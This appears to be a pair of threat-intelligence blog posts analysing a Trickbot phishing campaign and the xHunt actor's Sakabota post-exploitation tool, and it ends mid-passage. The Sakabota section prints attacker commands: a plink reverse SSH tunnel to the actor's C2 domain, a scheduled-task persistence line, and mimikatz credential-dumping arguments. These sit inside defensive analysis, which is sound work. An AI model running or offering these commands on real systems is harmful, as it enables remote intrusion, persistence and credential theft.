Trickbot is a well-known, modular credential stealer first discovered in 2016. It has been thought to be a descendent of another well-known credential stealer called Dyreza, or Dyre, due to similarities in functionalities and codebase. Due to its modularity, operators of Trickbot are able to gain access to different functions and capabilities by retrieving additional modules from the command and control (C2) servers. These include capabilities such as a worming function (i.e. copying itself to other devices), email inbox parser, and network reconnaissance.

Between November 7 - 8, 2019, Unit 42 identified a Trickbot distribution campaign delivered via phishing emails with subject lines using topics around payroll or annual bonuses shown below.

  • “Re: <Company Name> annual bonus document is ready”
  • “Re: annual bonus form for <name>”
  • “RE: <name> Payroll notification”
  • “RE: <Company Name>Payroll notification”

Generally, Trickbot and similar tools have been largely associated with using malspam with malicious document attachments as the delivery mechanism of choice by their operators likely due to ease-of-use, relatively low resource cost, and high success rates. In this campaign, instead of solely relying on email attachments, the adversaries included links to what appeared to be a legitimate Google Docs document which itself contained links to malicious files hosted on Google Drive. To further obfuscate the malicious activity, the adversaries leveraged a legitimate Email Delivery Service (EDS) called SendGrid to distribute the initial emails, and also hide the Google Drive links in the documents behind a SendGrid URL.

Once the user is fully redirected to the file hosted on Google Drive, an executable file is downloaded. This executable is a downloader tool designed to retrieve a Trickbot payload. Similar behavior was observed in August 2019 by Cofense.

Attack Details

The emails sent by the attackers appeared to originate from individuals at .edu email addresses which were likely compromised by the adversary. They then used SendGrid’s EDS to distribute the actual emails. This would have increased their likelihood of bypassing email filters, as it is a popular service used by organizations around the world. The body of the emails contained lure text consistent with the subject lines and links that utilized a SendGrid function called Click Tracking which sends a notification back to the sender of the email for tracking purposes. The following screenshots show a sampling of the emails received:

Figure 1. Screenshots of Trickbot phishing emails

Once the victim clicks on the links, they are redirected to a Google Doc document which has a link to a file hosted on Google Drive. This file is a simple downloader which has a single function of retrieving the Trickbot payload then executing it on the victim host. The attack flow can be seen in Figure 2.

Figure 2. Trickbot attack chain

In this campaign, we identified two downloaders:

Phishing Theme File Name SHA256
Annual bonus StatementReport.exe b8c2329906b4712caa0f8ca7941553b3ed6da1cd1f5cb70f1409df5bc1f0ee4a
Payroll Preview_Report.exe f8aaf313cc213258c6976cd55c8c0d048f61b0f3b196d768fbf51779786b6ac6

Table 1. Trickbot downloader files

Both of these downloaders are signed by PERISMOUNT LIMITED and appear as Microsoft Word documents to Windows users, as shown in Figure 3. Due to default settings in most Windows deployments of not displaying file extensions, these files will not appear as obvious executables to a victim. Once these files are executed by the victim, a decoy pop-up is displayed to reduce suspicion of any malicious behavior. Regardless of whether or not the user hits “OK” or closes the pop-up window, the file will still proceed with the download and installation of the Trickbot payload. The payload in this case is a file named MHk6kyiq.Z6O and is saved in the user’s temp directory where it is eventually executed.

Figure 3. Downloaders using Microsoft Word icons

Figure 4. Decoy pop-up from downloader

Using Cortex XDR and AutoFocus, we observed that once the files were executed by the victim, they would then retrieve the corresponding Trickbot payload from a first stage C2 server. Analyzing these domains indicate that they are owned by legitimate organizations which suggests the adversaries were able to compromise the legitimate servers and hijack them to be a part of their delivery infrastructure. This tactic further increases the chance of evasion by the adversary as it is unlikely these domains would be categorized as malicious and in some cases, may actually have legitimate business use cases for the targeted organizations. Table 2 below depicts the downloader and URL used for each Trickbot payload.

Downloader C2 Trickbot Payload File SHA256
StatementReport.exe savute[.]in/supp.php nfdsus12.exe d1e0902fd1e8b3951e2aec057a938db9eebe4a0efa573343d89703482cafb2d8
Preview_Report.exe lindaspryinteriordesign[.]com/supp.php nfdusdarm.exe 7d6ff8baebedba414c9f15060f0a8470965369cbc1088e9f21e2b5289b42a747

Table 2. Trickbot Payload Download Locations

The two payloads, nfdsus12.exe and nfdusdarm.exe, were immediately identified as Trickbot by the AutoFocus threat intelligence service via the tagging system. AutoFocus tags are groupings of behaviors that are designed to immediately identify specific malware families, threat actors, campaigns, or exploits. These tags are developed and maintained by the Unit 42 research team and are continuously updated as threats evolve.

Figure 5. Trickbot payload tagging in AutoFocus

This specific variant appeared to be a newer version of Trickbot, using the file path %APPDATA%\cashcore to store its files and configurations. Once the payload is executed, it will spawn a child process (svchost.exe) in a suspended state, replace the memory with malicious code, and resume the process. The technique is known as process hollowing. From there, basic system information is collected, and it will attempt to communicate to its second-stage C2 infrastructure to retrieve additional modules.

Using Cortex XDR and its data analytics processing engine, we were able to validate this activity via the causality chain function as shown in Figure 6.

Figure 6. Cortex XDR causality chain

This workflow illustrates the described attack chain:

  1. Initial downloader, statementreport.exe is executed by the user
  2. Performs an HTTPS GET request to savute[.]in/supp.php
  3. Payload file MHk6kyiq.Z6O is downloaded to the victim and saved in the user’s temp folder.
  4. Payload is executed by the downloader and the downloader terminates
  5. Payload is renamed to дввшгаоа.exe and copied to the users %APPDATA%\cashcore directory
  6. File versioninfo.iniis created in the %APPDATA%\cashcore directory. This file is similar to older Trickbot variants that use the file settings.ini. Unlike settings.ini, versioninfo.ini is not encrypted or obfuscated, but contains random data to appear like a legitimate ini file.
  7. дввшгаоа.exe spawns an instance of svchost.exe which spawns another instance of svchost.exe which is then injected with the Trickbot payload. In this example, a built-in network recon module was run, which enumerated the victim host and network.
  8. For persistence, this Trickbot variant created a scheduled task named System cache service which is scheduled to run at user logon and upon initial execution checks itself every 11 minutes to see if it is already running.

The Wider Campaign

Using AutoFocus, we used the string supp.php within the URL as a pivot point to search for any other files that were delivered from that URL. An additional five samples were discovered that were also all tagged as Trickbot, making a total of seven samples. These samples used a different C2 delivery server, but behaviorally were the same. The two additional C2 servers also appeared to be legitimate domains which had likely been compromised and hijacked by the adversaries. Details about these samples can be seen in Table 3.

Executing another search in AutoFocus looking for the occurrence of the string cashcore within any File Activity revealed over 800 additional samples, also all tagged as Trickbot. These samples were all ingested into our WildFire malware analysis platform between November 4 - 22, 2019, suggesting that this specific variant was first found earlier this month and is currently still in use. These samples also encompassed a range of Trickbot related files, from the Trickbot payload itself as well as various Trickbot modules. All known indicators for this variant of Trickbot is available in the indicators section of this blog.

Date Observed C2 Trickbot Payload SHA256
11/7/19 clementeolmos[.]com/supp.php erfd1.exe 24e3fa3fb1df9bd70071e5b957d180cd51bcf10bab690fa7db7425ca6652c47c
e9fd22631de9c918ac834eb14e01c76aa4d33069c7622daafcd03b4f1574aad0
d7687e1d98484b093e8da7fb666b2d644197fc3ea22b3931a6150c259479b0c
11/19/19 maisonmarielouise[.]org/supp.php SetupDesktop.exe dc8f259fb55a330d1a8e51d913404651b8d785d4ae8c9c655c57b4efbfe71a64
b3d2e7158620ece90fbc062892db55bf564c6154eb85facab57a459e3bd1156f

Table 3. Additional Trickbot payloads observed

Conclusion

By using a combination of Cortex XDR and AutoFocus, Unit 42 researchers were able to rapidly identify and discover behaviors associated with a newer Trickbot campaign without significant manual analysis. In this campaign, we discovered the adversaries leveraging legitimate services such as SendGrid and GSuite in an effort to obfuscate malicious activity. With the wider adoption of various cloud services by most organizations, these types of tactics should be expected to occur with even more frequency as these are additional avenues that can be abused by an adversary to evade detection.

In this campaign, due to the abuse of legitimate cloud services, the detection and prevention of the initial delivery may have been more challenging than if the adversaries had used their own infrastructure. However, having a policy, such as preventing unknown executable files to be downloaded or executed on the endpoint, may help prevent these attacks from succeeding against businesses.

  • Palo Alto Networks customers may learn more via AutoFocus and the Trickbot tag.
  • All Trickbot samples are properly detected as malware in WildFire
  • Trickbot C2 URLs have been added to URL Filtering

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org. (This is added to blogs pre-shared with the CTA, when loaded into WordPress it will be added when appropriate).

Indicators of Compromise

Trickbot Downloader Samples

f8aaf313cc213258c6976cd55c8c0d048f61b0f3b196d768fbf51779786b6ac6

b8c2329906b4712caa0f8ca7941553b3ed6da1cd1f5cb70f1409df5bc1f0ee4a

Trickbot Payload Samples

7d6ff8baebedba414c9f15060f0a8470965369cbc1088e9f21e2b5289b42a747
d1e0902fd1e8b3951e2aec057a938db9eebe4a0efa573343d89703482cafb2d8
24e3fa3fb1df9bd70071e5b957d180cd51bcf10bab690fa7db7425ca6652c47c
e9fd22631de9c918ac834eb14e01c76aa4d33069c7622daafcd03b4f1574aad0
d7687e1d98484b093e8da7fb666b2d644197fc3ea22b3931a6150c259479b0c6
dc8f259fb55a330d1a8e51d913404651b8d785d4ae8c9c655c57b4efbfe71a64
b3d2e7158620ece90fbc062892db55bf564c6154eb85facab57a459e3bd1156f

Trickbot Payload URLs

savute[.]in/supp.php
lindaspryinteriordesign[.]com/supp.php
maisonmarielouise[.]org/supp.php
clementeolmos[.]com/supp.php

Related Trickbot SHA 256

List of hashes on GitHub

xHunt Campaign: xHunt Actor’s Cheat Sheet

Posted on by Robert Falcone

Executive Summary

Unit 42 has been researching the xHunt attack campaign on Kuwait organizations for several months. Recently, we found evidence that the developers who created the Sakabota tool, which was previously discussed in the xHunt campaign, had carried out two sets of testing activities in July and August 2018 on Sakabota in an attempt to evade detection. These testing activities involved the developer compiling several variations of the tool with slight changes made to the code base, each of which the developer will submit to online antivirus scanning services to determine the vendors that detect their tool. The name Sakabota appears to be referencing a sword named Sakabato in an anime called “Rurouni Kenshin,” which fits the anime-themed tool names seen in the 2019 XHunt campaign.

While analyzing the Sakabota samples created by the developer in these testing activities, we found a cheat sheet that the developers included within the tool, which we suspect was meant to help the operator of the tool carry out activities on the compromised system and network. This is the first time we’ve seen a malware developer include a cheat sheet of example commands to assist the operator in carrying out the activities on the compromised system and network. We believe the inclusion of this cheat sheet within the tool may suggest that the developer and operator of the Sakabota tool are different individuals.

The cheat sheet includes examples of commands needed for persistence, network reconnaissance, pivoting, credential dumping, general system and network data gathering, as well as data exfiltration and commands to configure the system to allow remote desktop protocol (RDP) sessions. The commands provide insight into the techniques the actors will use after compromising a system, as well as the tools used to achieve their objectives. The commands also suggest that the threat group heavily relies on RDP to interact with compromised hosts, likely using secure shell (SSH) tunnels created with the Plink tool between the infected system and an actor-controlled domain. Also, the command examples show the threat group seeks to move across an infiltrated network to target additional devices, making it a greater threat to organizations once infected. According to these commands, the actor would likely make these pivots to other systems by performing credential dumping from the Windows registry and process memory.

Some of the command examples include a domain or IP address, one of which overlaps with a domain that the group used to deliver CASHY200 payloads configured with firewallsupports[.]com as its command & control system (C2) that we discussed in our previous blog on xHunt. The cheat sheet also suggests the actors will use scheduled tasks for persistence, which included one scheduled task name that was used for persistence in the previously mentioned CASHY200 payload.

We have provided an analysis of the Sakabota tool, specifically version 1.4, including all of its functionality in the Appendix.

Testing Sakabota

While gathering Sakabota samples during our xHunt research, we came across several samples compiled between July and August 2018, which the developer created during two rounds of testing. The first round of these testing activities occurred on July 21 and 23, 2018, while the second round of testing occurred on August 6 and 7, 2018. Unlike our analysis of testing activities performed by other threat groups, we will provide a higher level synopsis of the activities rather than providing the minute changes made in each iteration.

Both rounds of testing included iterations where the developer either made slight changes to the codebase itself or used different obfuscation tools to see how these changes affected the detection rate of the Sakabota tool. In addition to changes made to the codebase and obfuscators, the developer also modified the embedded resources within the Sakabota tool to determine if they were causing detection as well. Based on the changes between the last sample from the first round on July 23rd and the first sample in the second round of testing on August 6th, we believe the two rounds of testing are one continuous testing activity with a two-week gap between them rather than two separate testing efforts.

The first round of testing started with the oldest known version of Sakabota, specifically 1.4.0.0, and resulted in a new version of 1.5.0.0. The second round of testing started with Sakabota 1.5.0.0 and resulted in a new version of 1.6.0.0. During the two rounds, the developer tested several different crypters and obfuscators, including “Confuser,” “ConfuserEx,” “CodeVeil,” and two different versions of “.NET Reactor.” Ultimately, in the second round of testing the developer determined that one of the “.NET Reactor” versions (possibly 4.8 or 4.9) resulted in the lowest detection rate, which prompted the developer to continue using this version of “.NET Reactor” for the remainder of the testing activities.

In addition to making changes to the code base and testing various obfuscators, the tester also made modifications to or removed resources embedded within the samples. The most interesting change to resources occurred in the first iteration of the July testing, where the developer modified the ‘k’ resource that was initially a text file that contained a cheat sheet for the actor to a blank document that contained nothing more than a byte order mark (U+FEFF).

Sakabota Cheat Sheet

During our analysis of the testing activities related to Sakabota, the oldest known sample (SHA256:
5b5f6869d8e7e5746cc9bec58694e4e0049aef0dcac5dfd595322607ba10e1ae) had an embedded resource named ‘k’. This resource contained text that at first glance appeared to be usage instructions for the tool, however, on further inspection it is a cheat sheet for the operators using Sakabota in how to perform a variety of activities once they have access to the targeted system and network. This cheat sheet gave us unprecedented insight into the tools and techniques the actor using Sakabota uses once they gained access to the compromised system. The cheat sheet also included domains and IP addresses within the example commands, which confirms our analysis that these network artifacts belong to this threat group’s infrastructure.

To access this cheat sheet, an operator would click the Knoldege button within Sakabota’s GUI, which would display the cheat sheet in a scrolling text box immediately to the right of the button. Figure 1 shows the Sakabota GUI with the Knoldege button clicked and the cheat sheet displayed in green text.

Figure 1. Sakabota’s GUI displaying cheat sheet

The cheat sheet is separated into several sections, based on the purpose of the example commands. Fortunately, the commands listed in the cheat sheet provides us with a great deal of insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as the following tools not provided natively in Windows (i.e. thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound and PowerSploit). Table 1 shows the headers and a description of each section within the cheat sheet.

Section Heading Description
Hydra Provides an example command on how to run the thc-hydra tool to brute force an RDP login on a single IP address using text files with the username and password combinations.
Pass The Hash Provides two examples of arguments needed to pass-the-hash to run a command on a remote system using Mimikatz. The command in both examples use the psexec tool to run 'cmd.exe' on the remote system.
WMIC with Bat Provides an example windows management interface command (WMIC) with arguments to run a batch script ("c:\temp\a.bat") using the 'process call create' with supplied username and password.
Plink Provides example command-line commands to use Plink (PuTTY Link) to create an SSH tunnel between a remote system and the local system to allow the actor to remotely access the compromised system via remote desktop (RDP). The command instructs Plink to connect to the remote system, in the two examples were 'pasta58[.]com' and '176.9.235[.]101' over TCP port 25 and to authenticate to these remote systems using the username of 'bor' and the password '123321'. The example commands use 'svphost' as the application name, which is the same filename that Sakabota would use to install Plink to the system ("svphost.exe").
LSASS Process Provides five example commands that use ProcDump, Mimikatz and PowerSploit's Out-Minidump function to dump the 'lsass.exe' process memory. Two of the command specifically dump the contents to a file located at 'c:\mydump.dmp', while another saves the memory to a file named 'lsass.dmp'.
WDigest Provides the command line commands to use the 'reg' application to query and modify the WDigest registry key 'UseLogonCredential' that instructs Windows to store credentials in memory in cleartext or not. Setting this key to '0' is a suggested mitigation to Mimikatz credential dumping, which is likely why the cheat sheet provides the 'reg' command to set this key to '1' to enable it.
Powercat Provides example commands for both the client and the server to create a remote shell and transfer files using the powercat PowerShell tool. The remote systems that the commands would connect to are 'pasta58[.]com' and '213.202.217[.]31' over TCP port 443. This section also provides an example PowerShell command to download powercat from 'hxxp://pasta58[.]com/pk.txt' and to save the result to 'c:\users\public\pc.ps1' before creating a remote shell to 'pasta58[.]com'.
Ntds Provides example commands to save the 'Security Account Manager' (SAM) registry hive using the 'reg' application and Mimikatz's 'lsadump::sam' command. This section of the cheat sheet also includes login credentials to 'CMD5.org', which we believe the actor would use to crack hashes extracted from the registry dump files.
taskch Provides example commands to delete, create and run scheduled tasks. The scheduled tasks in the examples have the names 'WindowsUpdateTolkit' and 'WindowsUpdateTolkit_1' and would run 'SystemRecoverytolkit.ps1' and 'TempSystemRecovery.vbs', all but 'WindowsUpdateTolkit_1' were used to create persistence for CASHY200 payloads in xHunt related attacks.
Download from CMD Provides a PowerShell command to download a file from 'hxxp://pasta58[.]com/r.t' and save to 'c:\windows\temp\temp\run.bat'.
FTP Powershell Provides a PowerShell command that uploads a file 'C:\users\public\P.txt' to 'ftp://pasta58[.]com/P.txt' using the login username 'admin' and 'sak' as a password.
FTP From CMD Provides command line commands using echo to create a file named 'ftpcmd.dat' that contains the necessary commands to log into the FTP server at 'pasta58[.]com' using 'administrator' as the username and 'QwErTyUiOp123456' as the password to upload a file named 'TRR.txt'.
FireWall Provides six example commands to add, delete and show rules from the local Windows Firewall using the 'netsh' application. The example commands include the creation of rules to allow inbound network traffic to the Plink application saved to 'svphost.exe' discussed in the Plink section, as well as inbound traffic over TCP port 22.
RDP NLA Provides a PowerShell command that disables Network Level Authentication (NLA) for RDP. The command uses WMI to call the 'SetUserAuthenticationRequired' method to disable the 'UserAuthenticationRequired' property in 'Win32_TSGeneralSetting'. NLA requires the user to authenticate prior to the creation of an RDP session with a server, so we believe the actor would disable NLA to allow RDP sessions over the tunnel created with Plink.
RDP Port Provides example commands using the 'reg' application to query and add values to keys in 'hklm\system\currentControlSet\Control\Terminal Server'. The queries in the cheat sheet would allow the actor to view the port number that RDP uses and if the 'AllowTSConnections' setting is enabled to allow RDP sessions. The cheat sheet also has two 'reg' commands to add values to the registry keys 'AllowTSConnections' and 'fDenyTSConnections' to enable RDP sessions.
WinRAR Provides WinRAR command line commands to recursively archive folders. One of the examples outputs multi-volume RAR archives split into 153,600KB files.
DB Contains a variety of SQL queries related to navigating an unknown database. Based on the tables and column names, it appears that these queries attempt to extract customer information and call detail records (CDR), which is likely associated with telecommunications.
Get Users Provides the commands to run the Local.exe and Dsquery.exe tools to gather user information from a specified remote system or domain.
Scan For Provides three commands that use for loops to scan a local subnet (specifically a /24) to locate systems responding to ping requests, to check for file shares using the 'net use' application with 'administrator' as the username and 'P@ssw0rd' as the password and to check for systems whose 'C:' drive is shared using the 'dir' command.
Route Print This section was blank.
Scripting Provides two "scripts", one that reads locations from 'c:\test.txt' that it will iterate through and use as the argument to the 'ping' command, while the second pings "www.google.com" and checks the response for the string "Reply".
Base 64 Provides two commands that use the 'certutil' application and the '-encode' and '-decode' to convert 'test.exe' to 'test.txt' and vice versa.
Pantest Includes some Google search operators that the actor could likely use to find web servers of interest. The search operators include 'site' searches for '.sa', '.kw', '.ph' and '.ir', 'ext' for 'asp', 'aspx', 'php' and 'jsp', 'inurl' for 'login' and 'admin' and 'intext' for '---', 'Mysql_num_rows' and 'Apache/2.4.12 (Win32) OpenSSL/1.0.1m PHP/5.6.11'. The cheat sheet also provides several examples of SQL injection techniques with a ticular focus on XAMPP servers.

Table 1. Sections within Sakabota’s cheat sheet and a description of their contents

While the cheat sheet does not include a specific header, it does include example commands explaining how to use PowerShell to run Sharphound, which is the C# variant of the Bloodhound tool. Bloodhound is an open-source tool used to discover relationships between objects in an Active Directory environment. Many red teamers use Bloodhound to determine attack paths from a controlled asset on the breached network to their objective. The specific arguments in the example command instruct Bloodhound to use the following collection methods:

  • ACL - Collect ACL (Access Control List) data
  • ObjectProps - Collects node property information for users and computers
  • Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts

The inclusion of these commands in the cheat sheet suggests that the actors would also leverage Bloodhound for the same reason a red teamer would: specifically mapping out attack paths once they gain access to the network. These attack paths allow the adversary to determine what systems and accounts they should focus their efforts on to eventually gain access to the systems and accounts needed to achieve their objectives.

The cheat sheet also included the following domain and IP addresses of interest in the example commands that we associate with the threat actor’s infrastructure:

  • pasta58[.]com
  • 176.9.235[.]101
  • 213.202.217[.]31

The 213.202.217[.]31 IP address resolved the domain dl.kcc.com[.]kw that was used to host the delivery documents installing the CASHY200 payload in the July 2018 attacks discussed in our previous blog on xHunt. The 176.9.235[.]101 IP address was resolved to by pasta58[.]com, which is a known Sakabota C2 domain. We also observed this IP address and domain included as auto-complete entries within certain fields of Sakabota’s GUI (see Appendix), of which also included the IP address 23.227.207[.]233 also previously resolved to by pasta58[.]com. While this does not provide any new infrastructure, it strengthens our linkages between these entities within the infrastructure and their association with the threat actors involved.

Conclusion

While researching the tools associated with the xHunt campaign, we discovered testing activities carried out by a developer that is associated with this attack campaign. During this testing activity, we found a sample of Sakabota that contained a cheat sheet for the operators that provided significant insight into the tools, tactics, and techniques likely associated with these threat actors. We occasionally see malware developers including usage instructions within their tools to help an operator understand how to use various functionalities within the tool, but we’ve never seen a malware developer include a cheat sheet of example commands to assist the operator in carrying out the activities on the compromised system and network. Not only did this cheat sheet give us unprecedented insight into the tools and commands they would likely execute on the system, but it also provided references to network locations within their infrastructure.

Palo Alto Networks customers are protected from the tools mentioned in this blog through the following:

    • Customers using AutoFocus can view this activity by using the Sakabota tag
    • C2 domain pasta58[.]com is classified as malicious in Threat Prevention, DNS Security and URL Filtering.
    • All Sakabota samples identified are detected as malicious by WildFire and Traps.

Appendix

Indicators of Compromise

Sakabota Infrastructure

pasta58[.]com

176.9.235[.]101

213.202.217[.]31

23.227.207[.]233

Sakabota SHA256

7cfd75ab4822b489f74e83d3046536509c44b29b72b43125b0eca1fe449b5953

5b5f6869d8e7e5746cc9bec58694e4e0049aef0dcac5dfd595322607ba10e1ae

335e9eb0bb571ca81cc6829483f0b8d015627f8301373756d04d844cde04918d

40b18a1c06888f8e116b6de21f70359b9763b8066c764542ff3816c118b7d482

8e18b28dc7351b0e7928b0f5373a6e987ba6d084d84bfd0b29e7f458ca5401e5

ea31e5afec3b94635e98473183ec420e9c3e6fd13b618dadb5b34bf5c257a5aa

66e57d2909e37d39791bee91eb9e8121aa48ea89eae8a09275ae078e9dda2f50

2d7ff8d3aee31cd2f384d74e6b0f07ecda2cea860fb3210c9afe66bc7cc6f90b

df0f874219ffac8038290eb4a39ba6686edc35de8913563f8ddc9644ad4bde64

d0f57e566c6b457d6e97dc02266d67d81ef561fba50a86e9f9fc889dc5167068

d80aeb4fb326af0bf1179c4fcf2ad01cf98ddab81f709e690bbd728c027064e9

cc21bc11d9aed226e9c511480e54bb1305cea086ab0b5e310de68228debdc80e

bf7a448ef2603cce5488d97474c913ba14c9550d03cc5e387fe31eb416dc0259

161cfe70ea0022ef7aefffba93b3958ab09d7df6e61cc88d1c27e4917f554de4

224539e69c184d75ac59378ecab7914bcbe360310bb82add395d59e9e11d1419

b9c56da9e911dc85b06f8dc9d1a486663af8f982511e1c3ad568e635e2323274

9a431838f2613454c5630a5f186f0aee240dfc5723bd6e1b586bb4118cc3aab7

db1f460f624a4c13c3004899c5d0a4c3668ba99bb1e6be7f594e965c637b6917

b73facbf55053519b5da29397cfd3beea519e9f1bd41c50b6c2f3f1b4eca15a3

761635c23f3c98a8d18e48c767fff2b0ec321b58064b404ea1b2b4a555913296

47ca763da840fdee68b97e8d53cbc56b3f90e4d6532f0b1501b90175b8fca24f

Sakabota Tool

The Sakabota Tool allows threat actors involved with the xHunt campaign the ability to carry out post-exploitation activities, such as performing network reconnaissance, dumping credentials and interacting with discovered systems. Like other tools seen in the xHunt campaign, an actor can use the Sakabota tool from the command line or by interacting with its graphical user interface (GUI). We will discuss Sakabota’s functionality available from the command line and GUI, as the offered functionality differs dramatically. While we did not observe this activity, we speculate that the actor would use the command line interface to do initial data gathering after compromising a system and would use it to create a tunnel to establish an RDP session. After connecting to the system via RDP, we believe the actor would then use Sakabota’s GUI to take advantage of its increased capabilities.

Command Line Functionality

The actor can use Sakabota’s command-line interface by including any command-line arguments, otherwise, Sakabota will display its GUI instead of the command-line. The developer of Sakabota included usage instructions that actors can view by including the -help switch, as seen in Figure 2.

 

Figure 2. Sakabota’s command-line interface displaying usage instructions

The -Up command will upload a file or a folder’s files to the hardcoded C2 location of ftp://www.pasta58[.]com/<filename> using the FTP protocol and a username and password of Administrator and Mono8&^Uj.

The -Tanbo command writes an embedded NirCmd application by NirSoft to SC.exe in the current directory and uses this tool to take a screenshot of the system. The command will save the screenshot to the current directory named Screen_<computer name>_<username>.png. The -Tanbo-up command performs the same screenshot activity, but will upload the file to the C2 using FTP and the same credentials as the -Up command and delete the screenshot file from the system.

The -Shuriken and -Shuriken-v commands allow the actor to scan a remote system at 23.227.207[.]233 for open TCP ports, likely to determine the TCP ports allowed outbound from a stateful firewall. The ‘-Shuriken’ command will scan a list of TCP ports, specifically 123, 443, 80, 81, 23, 21, 22, 20, 110 and 25, while the -Shuriken-v command allows the actor to specify the TCP port to scan. The IP address 23.227.207[.]233 resolved to pasta58[.]com, which is the C2 domain used by this Sakabota sample.

The -Rev command saves an embedded PuTTY Link tool, also known as Plink to c:\users\public\svphost.exe and uses this tool and the following command-line arguments to create an SSH tunnel to allow the actor to create a remote RDP session on the system:

svphost pasta58[.]com -C -R 0.0.0.0:1991:127.0.0.1:3389 -l bor -pw 123321 -P <TCP port provided on command line>

The -Rev-loop command attempts to continually create an SSH tunnel to create a remote RDP session every ten minutes by creating a scheduled task named update.windows with the following command:

schtasks /create /sc minute /mo 10 /f /tr "cmd /c cd c:\users\public & echo y | svphost pasta58.com -C -R 0.0.0.0:1991:127.0.0.1:3389 -l bor -pw 123321 -P <TCP port provided on command line>" /tn update.windows /ru SYSTEM"

GUI Functionality

The Sakabota tool has more functionality available to the actor from its GUI. The developers of Sakabota wanted to restrict others from using their tool, so they added a password screen that requires the individual to enter a password before being able to use the functionality provided by Sakabota’s GUI. Figure 3 shows Sakabota’s password dialog, which has the title Snapping Tool and requires a password of 92, both of which are the same as the Gon tool discussed in the Appendix of our initial xHunt blog.

Figure 3. Password screen displayed when opening the Sakabota GUI

After entering the correct password, Sakbota displays its main interface, as seen in Figure 4. Sakabota’s main interface has a window title that begins with the string “Sakabota --->“ followed by system information, which includes the domain name, computer name, username, and if the system has Internet access. Much like the password screen, the window title is very similar in structure to the Gon tool, with the Gon tool’s window title starting with the string “xHunter --->” and Sakabota including the boolean for Internet connectivity.

Figure 4. Sakabota’s main interface

Sakabota’s main interface has a tabular design, with each tab containing different functionality. Common amongst all the tabs is the bottom portion of the interface, which has several buttons and additional system information, such as the system’s local IP address and the IP address for its DNS server, as well as the usernames currently logged into the system. This area also has several buttons that the actor can use to perform clean-up and self-destruct actions, as well as apply some generic settings. Table 2 provides a list of the buttons and a description of their functionality.

Button Description
Clear Tracks Cleans up actors activities by deleting registry keys used to store recent systems connected to via RDP ("Software\Microsoft\Terminal Server Client\Default"), recent applications run ("Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"), recent typed paths in Windows Explorer ("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TYPEDPATHS") and recent search terms ("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery").
RDP SC Enables CredSSP for RDP sessions to use the current credentials to authenticate to the remote system by writing enablecredsspsupport:i:0 to the Default.rdp file.
R Opens an explorer window with the results directory for scans and other commands.
Knoldege Displays a cheat sheet for the actor in text box directly next to the button.
# Enables/disables option called Personal Use that enables/disables an inactivity timer that Sakabota uses to hide its user interface to avoid detection.
@ Enables the RDP interrupt functionality that will close Sakabota and clean up the actors by running the same function as the Clear Tracks button, but also deletes the folder used to store command results and the Sakabota tool itself.
( Enables and disables Silent Mode, which if enabled will ask the user if they would like to save scanning results to a file in addition.
Hara-K Self-destruct mechanism, which will delete the Sakabota executable before exiting. Abbreviated ‘Harakiri’, which is a term for suicide in Japanese.

Table 2. Buttons at the bottom of Sakabota’s main interface

The ‘Info’ tab seen in Figure 4 has several capabilities specifically focused on gathering information from systems on the network. This tab allows the actor to use an embedded ‘dsquery’ tool (SHA256:
4c8c4e574b9d1dc05257a5c17203570ff6384d031c6e6284fbc0020fe63b719e)
to query Active Directory to gather information on computers, user and groups attached to the domain. This tab also allows the actor to scan IP addresses for specific services such as RDP, SMB, FTP, HTTP(s), telnet, and SSH. This tab also allows the actor to perform TCP port scan for systems on specified network ranges and connect to remote systems using the net use command. Lastly, the actor can install a legitimate Microsoft tool called Local.exe (SHA256: 450ebd66ba67bb46bf18d122823ff07ef4a7b11afe63b6f269aec9236a1790cd) and use this tool to list the administrator accounts on a specified IP address on the local network.

Sakabota’s remotes tab, seen in Figure 5, is dedicated to providing the actor the ability to interact with remote systems. First, this tab allows the actor to use Windows Management Instrumentation (WMI) to run commands on remote systems, in which the actor would provide the desired command in the ‘Code’ text box. The ‘Code’ text box contains auto-complete suggestions that provides us insight into some of the commands the developer expects the actor to run, such as gathering information on the user and network interfaces; however, the following commands within the auto-complete suggestions (with the exception of Whoami and query user) contain errors, such as missing spaces or added spaces or are not valid commands that would result in errors rather than running the application correctly:

Whoami
ipconfig/all
query user
net stat -na
Screen Shot

The ‘PSEXEC’ portion of this tab allows the actor to install an embedded PSExec tool to the system and use it to connect to a remote system using supplied credentials. The Remote button uses PSExec to launch a command prompt process on the remote system, while the Clean button attempts to kill the process running PSEXESVC.exe and delete this executable on the remote system. The PLink portion of the tab allows an actor to install an embedded PuTTY Link (PLink) tool (SHA256:
04e5f50dd90d5b88b745ef108c06a3ef1e297018cb3fe8acc80dd55250dfee68) to the system and use it to create an SSH tunnel between the system and an external server over TCP port 3389. We believe the actor uses this tunnel to connect to non-Internet facing systems using RDP. Sakabota uses the As_backdoor radio box to create a scheduled task named update.windows that attempts to create the tunnel every 20 minutes, whereas Sakabota uses the As_System rox to create a scheduled task named mytask that runs once at 12:00 AM. The actor would provide the location of their server in the Server IP box that Sakabota will use to create a tunnel to which the developer included the following locations within auto-complete options:

  • 176.9.235[.]101
  • pasta58[.]com

The ‘PASS THE HASH’ portion of the ‘Remotes’ tab suggests that the tool attempts to use the pass-the-hash technique to authenticate to a remote system, however, the tool does not have any functional code that uses these text boxes and the ‘Pass’ button does not have any event handling if its clicked.

Figure 5. Sakabota’s ‘Remotes’ tab

Sakabota’s Passwords tab, seen in Figure 6 has functionality dedicated to dumping credentials from the system. The ‘MIMI’ portion of this tab allows the actor to load a supplied mimikatz executable and execute it with the arguments ‘log privilege::debug sekurlsa::logonpasswords exit’. The ‘Digest’ button allows the actor to attempt to circumvent a Mimikatz mitigation by setting the following registry key to ‘1’, which instructs Windows to store credentials in memory:

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

The ‘SAM’ portion allows an actor to dump the SAM hive from the registry by using either the supplied Mimikatz tool with the arguments ‘log privilege::debug token::whoami token::elevate lsadump::sam exit’, or by running the following two command-line commands:

